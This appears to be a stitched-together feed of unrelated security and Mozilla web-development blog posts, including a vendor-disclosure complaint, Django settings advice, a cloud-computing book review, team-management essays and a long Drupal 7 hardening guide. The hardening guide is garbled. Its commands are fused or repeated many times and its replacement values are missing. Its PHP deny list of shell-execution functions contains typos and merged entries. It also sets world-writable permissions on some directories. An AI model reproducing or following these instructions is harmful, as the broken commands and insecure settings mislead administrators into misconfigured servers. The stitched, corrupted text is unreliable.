How hard is it to get facts straight? I don’t expect vendors to admit they sat on a vulnerability for months without patching: it’s human nature to blame someone else:
Opera […] claims that it couldn’t replicate the issue at the time. According to the vendor, its attempts to obtain more information from the researcher at the time weren’t successful.
Of course, when dealing with vendors, it’s always “the dog ate my homework” and “I swear we couldn’t reproduce it until it became public”
But I’m puzzled on why a technical reporter would just happily accept what’s being shoveled at him. For one, he could have contacted us and asked…
Here’s what really happened: We notified Opera about this vulnerability back in May. We gave them the Proof-of-Concept, disassembly, explanation and vulnerability analysis. So saying they did not have the full information is far from the truth. We didn’t ask for anything in return (we never do) but I admit we were skeptical based on previous experience with reporting vulnerabilities to Opera.
Then came the Million dollar question; we were asked if it worked on the latest version of Opera, and we said we don’t know. Since last time I checked, no one here worked for the Opera QA team, so we didn’t feel it was our job to check it. The response was typical:
“We only fix issues that are relevant to the latest version of Opera”
Followed by the all-too-common:”the items provided only cause crashes they have no intention to fix them”.
I guess they meant “we won’t fix them unless you drop a 0-day and we get a call from a computer magazine”.The Vendors-against-full-disclosure will continue, no doubt. Tech writers, get your spines refitted please: if you’re not a part of the solution, you’re a part of the problem.
-
Make your website safe from SQL Injection attacks. Signup for a daily penetration testing to protect your network!
This is the first in series of posts, focusing on issues around open sourcing your Django site and data privacy in Django.
A lot of people focus on open sourcing their Django libraries, but at Mozilla we open source the entire site. Releasing your entire source code can lead to a few problems, firstly let’s look at your Django settings file.
Separating your settings
All Django sites come with a settings.py file. This file contains some key settings that you should not be releasing to the general public, such as database configuration and the secret key. The simple way to do this is have another file that contains the secret settings and then import it from settings.py. For example include this at the bottom of your settings.py:
All your sensitive settings can now kept in that local file on your server and should not be published as part of your site code. This file will override the base settings file.
There are plenty of other examples on different ways to do this. You can do it in manage.py, or turn your settings.py into a folder that Python can import. Make sure that you ignore your settings_local.py file in your source control.
If you add in new settings, make sure you add them into the main settings.py file. Even if they are just empty strings, lists or whatever, it will mean that when you call settings.SOME_KEY in your code, you won’t have to cope with the setting not being present. There’s nothing more tedious than writing lots of getattr code to cope with that.
One downside of doing this is that you might not be sure what your settings are on the server. At Mozilla only the system administrators who manage and deploy our servers can see the contents of that file. But it’s still helpful to check the settings on the server. For that we wrote a settings page that lists them out.
Django helps by providing a method that lists the settings, but obscures those really sensitive values:
On addons.mozilla.org we require an account to have certain privileges before showing the page. But even if that did get broken into, you wouldn’t know our SECRET_KEY or anything very useful. Here’s how that page looks:
Now that you’ve got your settings files ready, you can confidently open source your Django project safe that you won’t be leaking any key data.
In the next blog post we’ll look at scrubbing personal data from your database.
We have recently identified an interesting code execution vulnerability in the Google App Engine SDK for Python. By combining a CSRF vulnerability in the administration web UI, with some other vulnerabilities we found in the Google python libraries, a remote hacker could gain remote code execution privileges on victim's machine. This vulnerability affects all operation systems running Google App Engine SDK for python (i.e. Windows, Mac OS, etc.).
The full advisory can be found here.
As always, Google has been very quick with fixing the issue. According to the company, the fix was provided in version 1.5.4, which was released on Sep 12th.
Happy Ada Lovelace Day! This day is celebrated by writing about a woman in technology who inspired you.
For Ada Lovelace Day this year, I want to honor Sheila Howell, a computer science academic at my alma mater, RMIT University. I first met Sheila in the early 90s in CS280 – Software Engineering. In that course I learned how to design and estimate systems. She taught systems thinking, a skill I have used over and over again and use to this day. I remember an exercise where we had to interview “users” (academics with scripts) about the current system, and design something better. That has stayed with me: the best way to learn something is to do it. The other key thing I learned is that there’s more to a solid system than the code.
Sheila went on to become the Head of School of Computer Science, and I went on to teach CS280, funnily enough, among other things. She was an excellent Head of School: liked by everyone but supremely good at getting things done.
She tried to retire but didn’t manage it, coming back to run the African Virtual University project at RMIT. This was a fantastic program that aimed to help African Universities set up and teach Computer Science programs.
I believe Sheila is still teaching at RMIT to this day.
I’d like to say thank you to Sheila: you inspired and influenced my career more than you’ll ever know.
One of the cool things about working at Mozilla is you get to help more than just yourself or your boss or your company… sometimes you get to help the community.
PyLadies is a mentorship group with a focus on helping more women become active participants and leaders in the Python open-source community. Following the pattern of groups like Ubuntu Women and PHP Women, PyLadies aims to provide a friendly support network for women and a bridge to the larger Python world. Both men and women are encouraged to participate.
PyLadies requested sponsorship to help more women attend DjangoCon and it felt like a good thing for the Python community. We helped send 8 women to DjangoCon – female Django developers who would not have otherwise attended (and in some cases presented) at the conference.
The results have been amazing. Some of the women who attended on the grant gave talks for their first time, while others are now inspired to submit talk proposals to PyCon 2012.
Here are details on how the money was spent.
Building the open web isn’t just about using and producing open source software; it’s also about building an open and welcoming community.
BKABVCLD.RVW 20110323
“Above the Clouds”, Kevin T. McDonald, 2010, 978-1-84928-031-0,
UK#39.95
%A Kevin T. McDonald
%D 2010
%G 978-1-84928-031-0 1-84928-031-2
%I IT Governance
%O UK#39.95
%O [www.amazon.com]
[www.amazon.co.uk]
%O [www.amazon.ca]
%O Audience n+ Tech 1 Writing 1 (see revfaq.htm for explanation)
%P 169 p.
%T “Above the Clouds: Managing Risk in the World of Cloud Computing”
The preface does a complicated job of defining cloud computing. The introduction does provides a simpler description: cloud computing is the sharing of services, at the time you need them, paying for the services you need or use. Different terms are listed based on what services are provided, and to whom. We could call cloud computing time-sharing, and the providers service bureaus. (Of course, if we did that, a number of people would think they’d walked into a forty-five year time-warp.)
The text is oddly structured: indeed, it is hard to find any organization in the material at all. Chapter one states that the cloud allows you to do rapid prototyping because you can use patched operating systems. I would agree that properly up-to-date operating systems are a good thing, but it isn’t made clear what this has to do with either prototyping or the cloud. There is a definite (and repeated) assertion that “bigger is better,” but this idea is presented as an article of faith, rather than demonstrated. There is mention of the difficulty of maintaining core competencies, but no discussion of how you would determine that a large entity has such competencies. Some of the content is contradictory: there are many statements to the effect that the cloud allows instant access to services, but at least one warning that you cannot expect cloud services to be instantly accessible. Various commercial products and services are noted in one section, but there is almost no description or detail in regard to actual services or availability.
Chapter two does admit that there can be some problems with using cloud services. Despite this admission some of the material is strange. We are told that you can eliminate capacity planning by using the cloud, but are immediately warned that we need to determine service levels (which is just a different form of capacity planning). In terms of preparation and planning, chapter three does mention a number of issues to be addressed. Even so, it tends to underplay the full range of factors that can determine the success or failure of a cloud project. (Much content that has been provided previously is duplicated here.) There is a very brief section on risk management. The process outline is fine, but the example given is rather flawed. (The gap analysis fails to note that the vendor does not actually answer the question asked.) SAS70 and similar reports are heavily emphasized, although the material fails to mention that many of the reasons that small businesses will be interested in the cloud will be for functions that are beyond the scope of these standards. Chapter four appears to be about risk assessment, but then wanders into discussion of continuity planning, project management, testing, and a bewildering variety of only marginally related topics. There is a very terse review of security fundamentals, in chapter five, but it is so brief as to be almost useless, and does not really address issues specifically related to the cloud. The (very limited) examination of security in chapter six seems to imply that a good cloud provider will automatically provide additional security functions. In certain areas, such as availability and backup, this may be true. However, in areas such as access control and identity management, this will most probably involve additional charges/costs, and it is not likely that the service provider will be able to do a better job than you can, yourself. A final chapter suggests that you analyze your own company to find functions that can be placed into the cloud.
Despite the random nature of the book, the breadth of topics means it can be used as an introduction to the factors which should be considered when attempting to use cloud computing. The lack of detail would place a heavy burden of research and work on those charged with planning or implementing such activities. In addition, the heavily promotional tone of the work may lead some readers to underestimate the magnitude of the task.
copyright, Robert M. Slade 2011 BKABVCLD.RVW 20110323
-
Is your site safe from SQL Injection attacks? Use an SQL Injection Scanner on a daily basis to protect your network!
Interesting report by Verizon. Highlights:
The conclusions sound a lot like the Gartner report:
“Every year that we study threat actions leading to data breaches, the story is the same; most victims aren’t overpowered by unknowable and unstoppable attacks. For the most part, we know them well enough and we also know how to stop them.”
And here’s the same thing in different wording:
“The latest round of evidence leads us to the same conclusion as before: your security woes are not caused by the lack of something new. They almost surely have more to do with not using, under using, or misusing something old.”
And of course, I like this one because it highlights Automated Vulnerability Assessment:
“SQL injection attacks, cross-site scripting, authentication bypass, and exploitation of session variables contributed to nearly half of breaches attributed to hacking or network intrusion. It is no secret that attackers are moving up the stack and targeting the application layer. Why don’t our defenses follow suit? As with everything else, put out the fires first: even lightweight web application scanning and testing would have found many of the problems that led to major breaches in the past year.”
Basically, your organization already has the security solution that it needs; you’re just not using it.
-
Expose the security holes in your products during development. Black Box Testing makes it safer!
I was recently made aware of a site/service called About.Me. It allows you to sign up, and create a very short Web page about yourself. I created a page, noted that there wasn’t much else I could do, and figured that was it.
The next day I received a message noting that they were providing email as well. I could sign up for my own email address (as if I didn’t have enough already) with them. The instructions said that I could access it via POP and IMAP.
So, I gave it a try. I activated the email address, and started to test it. I can send mail to the address (from another account), and retrieve it, but when I tried to send mail through their SMTP server I got an error. Having done this before, with a variety of servers, I tried some variations on the instructions. More error messages, and no sent email.
So, I tried their help and support systems. I ran into the same page of (incorrect) instructions again and again. I tried to find some way to contact them. The pages and links labelled “Feedback” have no contact information on them, and no input fields to fill in and send. Nothing.
Eventually, I did find something that allowed me to send them a message. I gave details of what I was doing, and sent copies of the error messages I received.
I got a message back. It asked me for details. I sent back the same details, including the error messages. I got a second message. It asked if I had seen any error messages.
I have sent them a third message with the error messages again.
I very much doubt that this is going to be one of the runaway social media success stories.
-
Make your website safer. Use an external vulnerability scanner. Nothing to install, zero maintenance!
This guide can also be found at http://security-24-7.com/hardening-guide-for-drupal-7-7/
Pre-installation notes The guide bellow is based on CentOS 5.5 (i386), Apache 2.2.19, MySQL 5.5.15
The guide bellow is based on the previous guides:
PHP installation phase
rpm -ivh kernel-headers-2.6.18-194.el5.i386.rpm
rpm -ivh glibc-headers-2.5-49.i386.rpm
rpm -ivh glibc-devel-2.5-49.i386.rpm
rpm -ivh gmp-4.1.4-10.el5.i386.rpm
rpm -ivh libgomp-4.4.0-6.el5.i386.rpm
rpm -ivh gcc-4.1.2-48.el5.i386.rpm
rpm -ivh libxml2-2.6.26-2.1.2.8.i386.rpm
rpm -ivh zlib-devel-1.2.3-3.i386.rpm
rpm -ivh libxml2-devel-2.6.26-2.1.2.8.i386.rpm
rpm -ivh pkgconfig-0.21-2.el5.i386.rpm
rpm -ivh libpng-devel-1.2.10-7.1.el5_3.2.i386.rpm
rpm -ivh libjpeg-devel-6b-37.i386.rpm
cd /tmp
rpm -ivh MySQL-devel-5.5.15-1.rhel5.i386.rpm
rm -f MySQL-devel-5.5.15-1.rhel5.i386.rpm
tar -zxvf php-5.3.8.tar.gz
tar -zxvf libxml2-2.7.7.tar.gz
cd /tmp/libxml2-2.7.7
./configuremakemake install
cd /tmp/php-5.3.8
./configure --with-mysql=mysqlnd --with-libdir=lib --prefix=/usr/local/apache2 --with-apxs2=/usr/local/apache2/bin/apxs --with-openssl --with-zlib --with-gd --with-jpeg-dir=/usr/lib --with-png-dir=/usr/lib --enable-pdo --with-pdo-mysql=mysqlnd --enable-ftp
makeAddType application/x-httpd-php .php
Replace the line from:
DirectoryIndex index.htmlTo:
DirectoryIndex index.php index.html index.htm
Replace the value of the string, from:
LimitRequestBody 10000To:
LimitRequestBody 600000
cp /tmp/php-5.3.8/php.ini-development /etc/php.ini
chmod 640 /etc/php.ini
mysql.default_host =
To:mysql.default_host = 127.0.0.1:3306
Replace the value of the string, from:pdo_mysql.default_socket=To:
pdo_mysql.default_socket=127.0.0.1
Replace the value of the string, from:
allow_url_fopen = OnTo:
allow_url_fopen = OffReplace the value of the string, from:expose_php = OnTo:
expose_php = Off
To:Replace the value of the string, from:To:To:To:Replace the value of the string, from:To:To:To:Replace the value of the string, from:To:To:To:Replace the value of the string, from:To:To:To:Replace the value of the string, from:To:To:Replace the value of the string, from:To:Replace the value of the string, from:To:To:Replace the value of the string, from:To:Replace the value of the string, from:
memory_limit = 128MTo:
memory_limit = 64MReplace the value of the string, from:;open_basedir =To:
open_basedir = "/www"
Replace the value of the string, from:To:Replace the value of the string, from:
post_max_size = 8MTo:
post_max_size = 2MReplace the value of the string, from:disable_functions =To:
disable_functions = fpassthru,crack_check,crack_closedict,crack_getlastmessage,crack_opendict, psockopen,php_ini_scanned_files,shell_exec,chown,hell-exec,dl,ctrl_dir,phpini,tmp,safe_mode,systemroot,server_software, get_current_user,HTTP_HOST,ini_restore,popen,pclose,exec,suExec,passthru,proc_open,proc_nice,proc_terminate, proc_get_status,proc_close,pfsockopen,leak,apache_child_terminate,posix_kill,posix_mkfifo,posix_setpgid, posix_setsid,posix_setuid,escapeshellcmd,escapeshellarg,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid, posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid, posix_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,system,posix_getsid,posix_getuid,posix_isatty, posix_setegid,posix_seteuid,posix_setgid,posix_times,posix_ttyname,posix_uname,posix_access,posix_get_last_error,posix_mknod, posix_strerror,posix_initgroups,posix_setsidposix_setuid
Replace the value of the string, from:To:Replace the value of the string, from:
;include_path = ".:/php/includes"To:
include_path = "/usr/local/lib/php;/usr/local/apache2/include/php"
Replace the value of the string, from:
display_errors = OnTo:
display_errors = Off
Replace the value of the string, from:
display_startup_errors = OnTo:
display_startup_errors = Off
Replace the value of the string, from:
;gd.jpeg_ignore_warning = 0To:
gd.jpeg_ignore_warning = 1
/usr/local/apache2/bin/apachectl stop
/usr/local/apache2/bin/apachectl start
/usr/local/apache2/bin/apachectl start
/usr/local/apache2/bin/apachectl start
/usr/local/apache2/bin/apachectl start
/usr/local/apache2/bin/apachectl start
/usr/local/apache2/bin/apachectl start
/usr/local/apache2/bin/apachectl start
/usr/local/apache2/bin/apachectl start
rm -f /tmp/php-5.3.8.tar.gz
rm -f /tmp/libxml2-2.7.7.tar.gz
rm -rf /tmp/php-5.3.8
rm -rf /tmp/libxml2-2.7.7
rm -rf /tmp/pear
rm -rf /usr/local/apache2/lib/php/test
rm -rf /usr/local/lib/php/test
Drupal installation phase
/usr/bin/mysql -uroot -pnew-password
Note: Replace the string “new-password” with the actual password for the root account.
CREATE USER 'blgusr'@'localhost' IDENTIFIED BY 'password2'; SET PASSWORD FOR 'blgusr'@'localhost' = OLD_PASSWORD('password2');
CREATE DATABASE Z5J6Dw1;
GRANT ALL PRIVILEGES ON Z5J6Dw1.* TO "blgusr"@"localhost" IDENTIFIED BY "password2";
FLUSH PRIVILEGES;
quit
Note 1: Replace “blgusr” with your own MySQL account to access the database.
Note 2: Replace “password2” with complex password (at least 14 characters).
Note 3: Replace “Z5J6Dw1” with your own Drupal database name.
Note 1: Replace “blgusr” with your own MySQL account to access the database.Note 2: Replace “password2” with complex password (at least 14 characters).Note 3: Replace “Z5J6Dw1” with your own Drupal database name.
Note 1: Replace “blgusr” with your own MySQL account to access the database.Note 2: Replace “password2” with complex password (at least 14 characters).Note 3: Replace “Z5J6Dw1” with your own Drupal database name.
Note 1: Replace “blgusr” with your own MySQL account to access the database.Note 2: Replace “password2” with complex password (at least 14 characters).Note 3: Replace “Z5J6Dw1” with your own Drupal database name.
Note 1: Replace “blgusr” with your own MySQL account to access the database.Note 2: Replace “password2” with complex password (at least 14 characters).Note 3: Replace “Z5J6Dw1” with your own Drupal database name.
Note 1: Replace “blgusr” with your own MySQL account to access the database.Note 2: Replace “password2” with complex password (at least 14 characters).Note 3: Replace “Z5J6Dw1” with your own Drupal database name.
Note 1: Replace “blgusr” with your own MySQL account to access the database.Note 2: Replace “password2” with complex password (at least 14 characters).Note 3: Replace “Z5J6Dw1” with your own Drupal database name.
Note 1: Replace “blgusr” with your own MySQL account to access the database.Note 2: Replace “password2” with complex password (at least 14 characters).Note 3: Replace “Z5J6Dw1” with your own Drupal database name.
cd /www
tar -zxvf drupal-7.7.tar.gz
rm -f /www/drupal-7.7.tar.gz
mv /www/drupal-7.7 /www/drupal
rm -f /www/drupal/CHANGELOG.txt
rm -f /www/drupal/COPYRIGHT.txt
rm -f /www/drupal/INSTALL.pgsql.txt
rm -f /www/drupal/LICENSE.txt
rm -f /www/drupal/UPGRADE.txt
rm -f /www/drupal/INSTALL.mysql.txt
rm -f /www/drupal/INSTALL.sqlite.txt
rm -f /www/drupal/INSTALL.txt
rm -f /www/drupal/MAINTAINERS.txt
rm -f /www/drupal/sites/example.sites.php
DocumentRoot "/www"
To:DocumentRoot "/www/drupal"
/usr/local/apache2/bin/apachectl stop /usr/local/apache2/bin/apachectl start
mkdir /www/drupal/sites/default/files mkdir /www/private
cp /www/drupal/sites/default/default.settings.php /www/drupal/sites/default/settings.php
chmod a+w /www/drupal/sites/default/settings.php
chmod -R 777 /www/drupal/sites/default/fileschmod -R 777 /www/private
Note 1: Replace “Z5J6Dw1” with your own Drupal database name.
Note 2: Replace “blgusr” with your own MySQL account to access the database.
Note 3: Replace “password2” with complex password (at least 14 characters).
Note 1: Make sure there are no spaces, newlines, or other strings before an opening ‘’ tag.
Note 2: Replace “blgusr” with your own MySQL account to access the database.
Note 3: Replace “password2” with complex password (at least 14 characters).
Note 4: Replace “Z5J6Dw1” with your own Drupal database name.
Note 1: Make sure there are no spaces, newlines, or other strings before an opening ‘’ tag. Note 2: Replace “blgusr” with your own MySQL account to access the database. Note 3: Replace “password2” with complex password (at least 14 characters).Note 4: Replace “Z5J6Dw1” with your own Drupal database name.
Note 1: Make sure there are no spaces, newlines, or other strings before an opening ‘’ tag. Note 2: Replace “blgusr” with your own MySQL account to access the database. Note 3: Replace “password2” with complex password (at least 14 characters).Note 4: Replace “Z5J6Dw1” with your own Drupal database name.
Note 1: Make sure there are no spaces, newlines, or other strings before an opening ‘’ tag. Note 2: Replace “blgusr” with your own MySQL account to access the database. Note 3: Replace “password2” with complex password (at least 14 characters).Note 4: Replace “Z5J6Dw1” with your own Drupal database name.
Note 1: Make sure there are no spaces, newlines, or other strings before an opening ‘’ tag. Note 2: Replace “blgusr” with your own MySQL account to access the database. Note 3: Replace “password2” with complex password (at least 14 characters).Note 4: Replace “Z5J6Dw1” with your own Drupal database name.
Note 1: Make sure there are no spaces, newlines, or other strings before an opening ‘’ tag. Note 2: Replace “blgusr” with your own MySQL account to access the database. Note 3: Replace “password2” with complex password (at least 14 characters).Note 4: Replace “Z5J6Dw1” with your own Drupal database name.
include('/www/config.php');
Remove the following section:$databases = array ( 'default' => array ( 'default' => array ( 'driver' => 'mysql', 'database' => 'Z5J6Dw1', 'username' => 'blgusr', 'password' => 'password2', 'host' => '127.0.0.1', 'port' => '', 'prefix' => 'Z5J6Dw1_', ), ), );Replace the string from:ini_set('session.cookie_lifetime', 2000000);To:
ini_set('session.cookie_lifetime', 0);
To:To:To:To:To:Remove the following section:To:Replace the string from:To:
chmod a-w /www/drupal/sites/default/settings.php
# Block any file that starts with “.”
Order allow,deny
Order allow,deny
# Allow “.” files with safe content types
Order deny,allow
chmod 444 /www/drupal/.htaccess
tar zxvf dfw-7.x-1.1.tar.gz
tar zxvf spamspan-7.x-1.1-beta1.tar.gz
tar zxvf spamspan-7.x-1.1-beta1.tar.gztar zxvf content_security_policy-7.x-1.x-dev.tar.gz
tar zxvf spamspan-7.x-1.1-beta1.tar.gztar zxvf content_security_policy-7.x-1.x-dev.tar.gztar zxvf goaway-7.x-1.2.tar.gz
tar zxvf spamspan-7.x-1.1-beta1.tar.gztar zxvf content_security_policy-7.x-1.x-dev.tar.gztar zxvf goaway-7.x-1.2.tar.gztar zxvf ip_anon-7.x-1.0.tar.gz
tar zxvf spamspan-7.x-1.1-beta1.tar.gztar zxvf content_security_policy-7.x-1.x-dev.tar.gztar zxvf goaway-7.x-1.2.tar.gztar zxvf ip_anon-7.x-1.0.tar.gztar zxvf flood_control-7.x-1.0.tar.gz
tar zxvf spamspan-7.x-1.1-beta1.tar.gztar zxvf content_security_policy-7.x-1.x-dev.tar.gztar zxvf goaway-7.x-1.2.tar.gztar zxvf ip_anon-7.x-1.0.tar.gztar zxvf flood_control-7.x-1.0.tar.gztar zxvf password_policy-7.x-1.0-beta1.tar.gz
tar zxvf spamspan-7.x-1.1-beta1.tar.gztar zxvf content_security_policy-7.x-1.x-dev.tar.gztar zxvf goaway-7.x-1.2.tar.gztar zxvf ip_anon-7.x-1.0.tar.gztar zxvf flood_control-7.x-1.0.tar.gztar zxvf password_policy-7.x-1.0-beta1.tar.gztar zxvf persistent_login-7.x-1.x-dev.tar.gz
tar zxvf spamspan-7.x-1.1-beta1.tar.gztar zxvf content_security_policy-7.x-1.x-dev.tar.gztar zxvf goaway-7.x-1.2.tar.gztar zxvf ip_anon-7.x-1.0.tar.gztar zxvf flood_control-7.x-1.0.tar.gztar zxvf password_policy-7.x-1.0-beta1.tar.gztar zxvf persistent_login-7.x-1.x-dev.tar.gztar zxvf secure_permissions-7.x-1.5.tar.gz
tar zxvf security_review-7.x-1.x-dev.tar.gz
tar zxvf system_perm-7.x-1.x-dev.tar.gz
tar zxvf blockanonymouslinks-7.x-1.1.tar.gz
rm -f /www/drupal/sites/all/modules/dfw-7.x-1.1.tar.gz
rm -f /www/drupal/sites/all/modules/spamspan-7.x-1.1-beta1.tar.gz
rm -f /www/drupal/sites/all/modules/spamspan-7.x-1.1-beta1.tar.gzrm -f /www/drupal/sites/all/modules/content_security_policy-7.x-1.x-dev.tar.gz
rm -f /www/drupal/sites/all/modules/spamspan-7.x-1.1-beta1.tar.gzrm -f /www/drupal/sites/all/modules/content_security_policy-7.x-1.x-dev.tar.gzrm -f /www/drupal/sites/all/modules/goaway-7.x-1.2.tar.gz
rm -f /www/drupal/sites/all/modules/spamspan-7.x-1.1-beta1.tar.gzrm -f /www/drupal/sites/all/modules/content_security_policy-7.x-1.x-dev.tar.gzrm -f /www/drupal/sites/all/modules/goaway-7.x-1.2.tar.gzrm -f /www/drupal/sites/all/modules/ip_anon-7.x-1.0.tar.gz
rm -f /www/drupal/sites/all/modules/spamspan-7.x-1.1-beta1.tar.gzrm -f /www/drupal/sites/all/modules/content_security_policy-7.x-1.x-dev.tar.gzrm -f /www/drupal/sites/all/modules/goaway-7.x-1.2.tar.gzrm -f /www/drupal/sites/all/modules/ip_anon-7.x-1.0.tar.gzrm -f /www/drupal/sites/all/modules/flood_control-7.x-1.0.tar.gz
rm -f /www/drupal/sites/all/modules/spamspan-7.x-1.1-beta1.tar.gzrm -f /www/drupal/sites/all/modules/content_security_policy-7.x-1.x-dev.tar.gzrm -f /www/drupal/sites/all/modules/goaway-7.x-1.2.tar.gzrm -f /www/drupal/sites/all/modules/ip_anon-7.x-1.0.tar.gzrm -f /www/drupal/sites/all/modules/flood_control-7.x-1.0.tar.gzrm -f /www/drupal/sites/all/modules/password_policy-7.x-1.0-beta1.tar.gz
rm -f /www/drupal/sites/all/modules/spamspan-7.x-1.1-beta1.tar.gzrm -f /www/drupal/sites/all/modules/content_security_policy-7.x-1.x-dev.tar.gzrm -f /www/drupal/sites/all/modules/goaway-7.x-1.2.tar.gzrm -f /www/drupal/sites/all/modules/ip_anon-7.x-1.0.tar.gzrm -f /www/drupal/sites/all/modules/flood_control-7.x-1.0.tar.gzrm -f /www/drupal/sites/all/modules/password_policy-7.x-1.0-beta1.tar.gzrm -f /www/drupal/sites/all/modules/persistent_login-7.x-1.x-dev.tar.gz
rm -f /www/drupal/sites/all/modules/spamspan-7.x-1.1-beta1.tar.gzrm -f /www/drupal/sites/all/modules/content_security_policy-7.x-1.x-dev.tar.gzrm -f /www/drupal/sites/all/modules/goaway-7.x-1.2.tar.gzrm -f /www/drupal/sites/all/modules/ip_anon-7.x-1.0.tar.gzrm -f /www/drupal/sites/all/modules/flood_control-7.x-1.0.tar.gzrm -f /www/drupal/sites/all/modules/password_policy-7.x-1.0-beta1.tar.gzrm -f /www/drupal/sites/all/modules/persistent_login-7.x-1.x-dev.tar.gzrm -f /www/drupal/sites/all/modules/secure_permissions-7.x-1.5.tar.gz
rm -f /www/drupal/sites/all/modules/security_review-7.x-1.x-dev.tar.gz
rm -f /www/drupal/sites/all/modules/system_perm-7.x-1.x-dev.tar.gz
rm -f /www/drupal/sites/all/modules/blockanonymouslinks-7.x-1.1.tar.gz
[Server_FQDN]
Drupal SSL configuration phase
$conf['https'] = TRUE;
tar zxvf securepages-7.x-1.x-dev.tar.gz
tar zxvf securelogin-7.x-1.2.tar.gz
tar zxvf securelogin-7.x-1.2.tar.gz
tar zxvf securelogin-7.x-1.2.tar.gz
tar zxvf securelogin-7.x-1.2.tar.gz
tar zxvf securelogin-7.x-1.2.tar.gz
tar zxvf securelogin-7.x-1.2.tar.gz
tar zxvf securelogin-7.x-1.2.tar.gz
tar zxvf securelogin-7.x-1.2.tar.gz
rm -f /www/drupal/sites/all/modules/securepages-7.x-1.x-dev.tar.gz
rm -f /www/drupal/sites/all/modules/securelogin-7.x-1.2.tar.gz
rm -f /www/drupal/sites/all/modules/securelogin-7.x-1.2.tar.gz
rm -f /www/drupal/sites/all/modules/securelogin-7.x-1.2.tar.gz
rm -f /www/drupal/sites/all/modules/securelogin-7.x-1.2.tar.gz
rm -f /www/drupal/sites/all/modules/securelogin-7.x-1.2.tar.gz
rm -f /www/drupal/sites/all/modules/securelogin-7.x-1.2.tar.gz
rm -f /www/drupal/sites/all/modules/securelogin-7.x-1.2.tar.gz
rm -f /www/drupal/sites/all/modules/securelogin-7.x-1.2.tar.gz
[https:]
-
Make your website safe from SQL Injection attacks. Signup for a daily penetration testing to protect your network!
Julie Deroche seems to do it year after year. I’m not sure what her secret is, but we get the most amazing interns in the world.
Matt, Tanay and Adrian worked on important projects for Mozilla this summer and made a difference for millions of people. They were all exposed to healthy doses of Python, scalability, security and webdev best practices. I’m excited to see what they accomplish next with what they’ve learned.
In fact, before they even finished their internships Matt and Tanay won 2nd place in the first annual World Series of Hack for creating MunchyLunchy. How awesome is that?
The Mozilla internship program here is special. Interns get to:
This summer has been great thanks to Matt, Tanay and Adrian. I’ll follow up with another post about their individual projects once they’ve done their final presentations.
For now, I wanted to thank them for an awesome summer. Thanks for your hard work, making us all laugh and for making the web a better place.
Web Development at Mozilla started with two people and has become a worldwide team of 40 of the best web developers in the world. Growing so rapidly can present a number of challenges for leadership, engineers and the rest of the company. This is my attempt at sharing some lessons so you can handle growth a little better.
Have something to fight forIt starts at the heart. Mozilla is a unique company that has made things easier for us to grow well. Some things that will help you:
Goal setting and expectations are huge. First, you have to follow three general rules about goals. A good goal should be:
Second, spend time explaining what success means for your team and yourself. John Wooden said, “Peace of mind, attained only through self-satisfaction, in knowing you made the effort to do the best of which you are capable.” Which is another way of saying you may fail, but don’t fail for lack of effort. Check out his TED talk.
Here is how I’ve tried to define success (taken proudly from John Wooden):
That’s it. Here’s why:
Results are still important — but you don’t get high quality results without high quality effort. If your talent is strong and you get your team’s best effort then your team is a success. The results will take care of themselves.
Build a culture people want to be a part ofIt starts with you, but each person on the team needs to set a great example and build a healthy culture. Here are some general rules:
From a management perspective, there are some things you should try to do on a regular basis that is the foundation for a healthy culture:
I haven’t written any books on organizational development or corporate philosophy. If I ever do, I’d say the most important ingredients in successful growth are:
Calibration is what I’ve heard it called most often. But until you find what you were looking for it’s tough to judge exactly what that is. This is the case with your first hire.
My advice here is to keep trying. If you take 6 months, so be it. Your first hire is the hardest for a reason — it’s a foundation piece for the rest of your team’s future. Don’t skimp.
Tackle problems head onJenny has issues with Bill and comes to you for guidance. Your choices:
Along the way, as the team grows or things change you’re inevitably going to lose some folks. Don’t take it personally, but here are some things to think about:
Sometimes losing people is a necessity. Along the way you’ll make bad hires or have bad contractors. You need to know when to pull the plug. If you fail to do this, you’ll lose the trust of your team by empowering people who don’t pull their fair share. On a personal level, if you let things drag out, you hurt individuals by not helping them address their own issues and get better. Sometimes letting them go is the only way to really help them. Doing so takes courage, due diligence and resolve.
Take hiring seriouslyManagers understand the true cost of hiring the wrong person or letting things slide. The team should, too. On a very basic level, hiring should be up there as one of your team’s priorities if you intend to grow well:
Seems cheesy, but little things do matter. As you grow, here are some ways to make a big team feel small:
My hope is that all this helps you somehow. It’s not a magical guide to doing things right — more an explanation of a thought process and way of approaching things that worked for us.
If you didn’t read anything else, just care about people — really care about them — and see the good in them. If you can do that and work hard, nothing can stop you.
I’ll leave you with some photos I took along the way. Enjoy.
July 2006
(just kidding)
Yesterday, we pushed out Socorro 2.1, which changes the way we calculate crashes/ADU. We’ve now started including content and plugin crashes in these crash counts. This means that when you look at graphs on crash-stats.mozilla.com today, you’ll see an uptick in crashes. This is not a “crash spike” but a change in the way we represent the data, as requested by the CrashKill team.
To give some background, the crashes/ADU metric counts the number of crashes per 100 average daily users. It’s often used as a metric for stability of releases.
In version 2.2, which we are working on at the moment, we’ll be changing the way we aggregate data for beta and release versions. Right now, as an artifact of pre-rapid-release days, all beta crashes are counted under the same version regardless of whether it’s beta 1, beta 7, etc. This is turning out to be quite challenging to build when you realize that a build (and hence crash reports from a build) doesn’t know which beta it is.
My colleague Robert Kaiser has blogged about these changes more extensively, focusing in particular on what this means for data interpretation. He’s written a fantastic blog post – please jump on over there and read it for a lot more context.
While we were at Open Source Bridge we had a great time hanging out and learning with other hackers from around the open source world.
Rainer Cvillink, Video Producer at Mozilla, filmed a video where we talked about our experience at the conference and what we got out of it. Enjoy!
Thanks to our friends at OSB for putting on a great conference. Keep rocking it!
We’ve had means of expressing our opinions on various things for a long time. Amazon has had reviews of the books pretty much since the beginning. But how do we know that the reviews are real? Virus writers took the opportunity presented by Amazon to trash my books when they were published. (Even though they used different names, it only took a very simple form of forensic linguistics to figure out the identities.)
More recently, review spam has become more important, since many people are relying on the online reviews when buying items or booking services. A number of “companies” have determined that it is more cost effective to have bots or other entities flood the review systems with fake positive reviews than it is to make quality products or services. So, some nice people from Cornell university produced and tested some software to determine the fakes.
